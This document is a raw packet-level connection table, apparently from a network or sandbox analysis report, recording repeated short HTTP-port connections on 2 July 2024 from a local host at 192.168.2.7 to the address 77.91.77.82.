Jul 2, 2024 12:22:29.690258026 CEST	80	55296	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:29.690300941 CEST	55295	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:29.690327883 CEST	55296	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:29.691250086 CEST	55296	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:29.696031094 CEST	80	55296	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:30.379254103 CEST	80	55296	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:30.379487991 CEST	55296	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:30.387448072 CEST	55296	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:30.392436981 CEST	80	55296	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:30.611273050 CEST	80	55296	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:30.611469030 CEST	55296	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:30.727566957 CEST	55296	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:30.728285074 CEST	55297	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:30.733632088 CEST	80	55296	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:30.733830929 CEST	55296	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:30.734236956 CEST	80	55297	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:30.734311104 CEST	55297	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:30.734831095 CEST	55297	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:30.739744902 CEST	80	55297	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:31.421037912 CEST	80	55297	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:31.421111107 CEST	55297	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:31.425175905 CEST	55297	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:31.425518036 CEST	55298	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:31.430279970 CEST	80	55298	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:31.430335045 CEST	55298	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:31.430587053 CEST	55298	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:31.430625916 CEST	80	55297	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:31.430761099 CEST	55297	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:31.435452938 CEST	80	55298	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:32.139533043 CEST	80	55298	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:32.139600039 CEST	55298	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.256747007 CEST	55298	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.257206917 CEST	55299	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.262026072 CEST	80	55298	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:32.262042999 CEST	80	55299	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:32.262121916 CEST	55299	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.262130022 CEST	55298	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.262502909 CEST	55299	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.267317057 CEST	80	55299	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:32.833426952 CEST	55299	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.840071917 CEST	55300	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.844948053 CEST	80	55300	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:32.845012903 CEST	55300	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.845541000 CEST	55300	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:32.850512028 CEST	80	55300	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:33.546605110 CEST	80	55300	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:33.546943903 CEST	55300	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:33.661972046 CEST	55300	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:33.662195921 CEST	55301	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:33.667510986 CEST	80	55301	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:33.667795897 CEST	55301	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:33.667918921 CEST	55301	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:33.668998003 CEST	80	55300	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:33.670797110 CEST	55300	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:33.673229933 CEST	80	55301	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:34.383972883 CEST	80	55301	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:34.384238005 CEST	55301	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:34.386989117 CEST	55301	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:34.387188911 CEST	55302	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:34.391967058 CEST	80	55302	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:34.392196894 CEST	80	55301	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:34.392271042 CEST	55301	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:34.392282963 CEST	55302	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:34.392435074 CEST	55302	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:34.397209883 CEST	80	55302	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:35.092140913 CEST	80	55302	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:35.092202902 CEST	55302	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.208916903 CEST	55302	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.209235907 CEST	55303	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.214020967 CEST	80	55303	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:35.214086056 CEST	55303	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.214329004 CEST	55303	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.214560986 CEST	80	55302	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:35.214608908 CEST	55302	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.219733000 CEST	80	55303	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:35.946193933 CEST	80	55303	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:35.946269989 CEST	55303	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.950046062 CEST	55303	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.950397968 CEST	55304	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.955722094 CEST	80	55303	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:35.955832005 CEST	55303	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.955990076 CEST	80	55304	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:35.956058025 CEST	55304	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.956957102 CEST	55304	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:35.961726904 CEST	80	55304	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:36.654577971 CEST	80	55304	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:36.654638052 CEST	55304	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:36.771547079 CEST	55304	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:36.771903038 CEST	55305	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:36.776624918 CEST	80	55304	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:36.776673079 CEST	80	55305	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:36.776715040 CEST	55304	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:36.776741982 CEST	55305	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:36.776954889 CEST	55305	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:36.781661987 CEST	80	55305	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:37.502748966 CEST	80	55305	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:37.502804041 CEST	55305	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:37.518508911 CEST	55305	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:37.523591042 CEST	80	55305	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:37.746100903 CEST	80	55305	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:37.746187925 CEST	55305	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:37.850003004 CEST	55305	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:37.850548029 CEST	55306	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:37.855866909 CEST	80	55305	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:37.855880022 CEST	80	55306	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:37.855930090 CEST	55305	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:37.855972052 CEST	55306	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:37.856383085 CEST	55306	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:37.861241102 CEST	80	55306	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:38.547801018 CEST	80	55306	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:38.547889948 CEST	55306	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:38.551647902 CEST	55306	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:38.552212000 CEST	55307	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:38.556790113 CEST	80	55306	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:38.556857109 CEST	55306	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:38.557020903 CEST	80	55307	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:38.557159901 CEST	55307	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:38.562832117 CEST	55307	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:38.567994118 CEST	80	55307	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:39.246849060 CEST	80	55307	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:39.246934891 CEST	55307	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:39.366552114 CEST	55307	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:39.366872072 CEST	55308	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:39.371669054 CEST	80	55308	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:39.371722937 CEST	55308	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:39.371792078 CEST	80	55307	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:39.371828079 CEST	55307	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:39.372024059 CEST	55308	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:39.376828909 CEST	80	55308	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:40.066457033 CEST	80	55308	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:40.066512108 CEST	55308	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.069684982 CEST	55308	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.069998980 CEST	55309	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.074768066 CEST	80	55309	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:40.074829102 CEST	55309	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.074995995 CEST	80	55308	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:40.075083971 CEST	55309	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.075103998 CEST	55308	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.079855919 CEST	80	55309	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:40.793739080 CEST	80	55309	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:40.793807030 CEST	55309	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.915703058 CEST	55309	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.916193008 CEST	55310	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.920831919 CEST	80	55309	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:40.920903921 CEST	80	55310	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:40.920943022 CEST	55309	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.920969009 CEST	55310	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.921201944 CEST	55310	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:40.925921917 CEST	80	55310	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:41.618741989 CEST	80	55310	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:41.618818998 CEST	55310	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:41.621655941 CEST	55310	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:41.622041941 CEST	55311	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:41.626871109 CEST	80	55311	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:41.626975060 CEST	80	55310	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:41.627041101 CEST	55310	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:41.627052069 CEST	55311	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:41.627311945 CEST	55311	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:41.632396936 CEST	80	55311	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:42.326657057 CEST	80	55311	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:42.326725960 CEST	55311	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:42.443666935 CEST	55311	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:42.444060087 CEST	55312	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:42.448899031 CEST	80	55312	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:42.448930979 CEST	80	55311	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:42.448999882 CEST	55312	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:42.449022055 CEST	55311	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:42.450503111 CEST	55312	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:42.455249071 CEST	80	55312	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:43.133311033 CEST	80	55312	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:43.133377075 CEST	55312	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:43.136421919 CEST	55312	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:43.136773109 CEST	55313	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:43.141544104 CEST	80	55313	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:43.141675949 CEST	55313	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:43.141801119 CEST	55313	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:43.145421982 CEST	80	55312	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:43.145477057 CEST	55312	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:43.146519899 CEST	80	55313	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:43.987670898 CEST	80	55313	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:43.987979889 CEST	55313	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.101042986 CEST	55313	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.101701975 CEST	55314	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.106398106 CEST	80	55313	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:44.106451035 CEST	80	55314	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:44.106498957 CEST	55313	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.106498957 CEST	55314	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.106626034 CEST	55314	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.111351967 CEST	80	55314	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:44.813755035 CEST	80	55314	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:44.813946009 CEST	55314	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.817579985 CEST	55314	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.817912102 CEST	55315	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.822844028 CEST	80	55315	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:44.823144913 CEST	80	55314	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:44.823179007 CEST	55315	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.823210001 CEST	55314	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.823385000 CEST	55315	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:44.828095913 CEST	80	55315	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:45.535104036 CEST	80	55315	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:45.535157919 CEST	55315	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:45.647026062 CEST	55315	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:45.647476912 CEST	55316	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:45.795521975 CEST	80	55316	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:45.795537949 CEST	80	55315	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:45.795617104 CEST	55315	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:45.795883894 CEST	55316	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:45.796088934 CEST	55316	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:45.801094055 CEST	80	55316	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:46.628454924 CEST	80	55316	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:46.630736113 CEST	55316	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:46.631498098 CEST	55316	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:46.631637096 CEST	55317	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:46.636390924 CEST	80	55317	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:46.636468887 CEST	55317	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:46.636532068 CEST	80	55316	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:46.636679888 CEST	55316	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:46.636754036 CEST	55317	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:46.641433954 CEST	80	55317	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:47.356146097 CEST	80	55317	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:47.356215954 CEST	55317	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:47.475276947 CEST	55317	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:47.475613117 CEST	55318	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:47.480384111 CEST	80	55317	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:47.480398893 CEST	80	55318	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:47.480436087 CEST	55317	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:47.480496883 CEST	55318	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:47.481440067 CEST	55318	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:47.486268044 CEST	80	55318	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:48.176295996 CEST	80	55318	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:48.176810026 CEST	55318	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:48.206617117 CEST	55318	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:48.208167076 CEST	55319	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:48.211924076 CEST	80	55318	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:48.212224960 CEST	55318	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:48.212959051 CEST	80	55319	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:48.213063002 CEST	55319	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:48.213375092 CEST	55319	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:48.218106031 CEST	80	55319	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:48.904546022 CEST	80	55319	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:48.904831886 CEST	55319	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.021420002 CEST	55319	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.021790028 CEST	55320	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.026619911 CEST	80	55320	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:49.026810884 CEST	80	55319	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:49.026895046 CEST	55319	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.027112961 CEST	55320	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.027112961 CEST	55320	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.032223940 CEST	80	55320	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:49.710617065 CEST	80	55320	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:49.710709095 CEST	55320	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.713512897 CEST	55320	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.713813066 CEST	55321	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.719362020 CEST	80	55321	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:49.719573975 CEST	55321	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.719763994 CEST	80	55320	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:49.719793081 CEST	55321	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.719811916 CEST	55320	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:49.724620104 CEST	80	55321	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:50.412522078 CEST	80	55321	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:50.412585020 CEST	55321	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:50.525386095 CEST	55321	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:50.526190996 CEST	55322	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:50.531023026 CEST	80	55321	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:50.531039000 CEST	80	55322	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:50.531099081 CEST	55321	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:50.531147957 CEST	55322	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:50.531760931 CEST	55322	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:50.537110090 CEST	80	55322	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:51.217144012 CEST	80	55322	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:51.217232943 CEST	55322	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:51.221632957 CEST	55322	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:51.222253084 CEST	55323	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:51.227005959 CEST	80	55323	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:51.227050066 CEST	80	55322	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:51.227116108 CEST	55322	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:51.227169991 CEST	55323	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:51.227629900 CEST	55323	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:51.232342958 CEST	80	55323	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:51.922302961 CEST	80	55323	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:51.925668955 CEST	55323	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.037307024 CEST	55323	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.037623882 CEST	55324	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.042474031 CEST	80	55323	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:52.042489052 CEST	80	55324	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:52.042541981 CEST	55323	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.042566061 CEST	55324	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.042752981 CEST	55324	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.047454119 CEST	80	55324	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:52.728173018 CEST	80	55324	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:52.728238106 CEST	55324	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.731466055 CEST	55324	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.731735945 CEST	55325	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.736491919 CEST	80	55325	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:52.736627102 CEST	80	55324	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:52.736686945 CEST	55324	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.736737013 CEST	55325	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.737001896 CEST	55325	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:52.741755962 CEST	80	55325	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:53.429970980 CEST	80	55325	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:53.430057049 CEST	55325	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:53.544501066 CEST	55325	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:53.545017004 CEST	55326	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:53.550084114 CEST	80	55325	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:53.550100088 CEST	80	55326	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:53.550147057 CEST	55325	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:53.550226927 CEST	55326	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:53.550698042 CEST	55326	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:53.555973053 CEST	80	55326	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:54.283015966 CEST	80	55326	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:54.283102989 CEST	55326	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:54.286190987 CEST	55326	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:54.286447048 CEST	55327	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:54.291234016 CEST	80	55327	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:54.291292906 CEST	55327	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:54.291327000 CEST	80	55326	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:54.291440964 CEST	55327	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:54.291485071 CEST	55326	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:54.296201944 CEST	80	55327	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:54.983165026 CEST	80	55327	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:54.983258963 CEST	55327	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.100281000 CEST	55327	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.100565910 CEST	55328	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.107021093 CEST	80	55328	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:55.107220888 CEST	55328	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.107491016 CEST	55328	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.107741117 CEST	80	55327	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:55.107789040 CEST	55327	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.112289906 CEST	80	55328	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:55.815035105 CEST	80	55328	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:55.815129995 CEST	55328	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.818548918 CEST	55328	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.818854094 CEST	55329	80	192.168.2.7	77.91.77.82
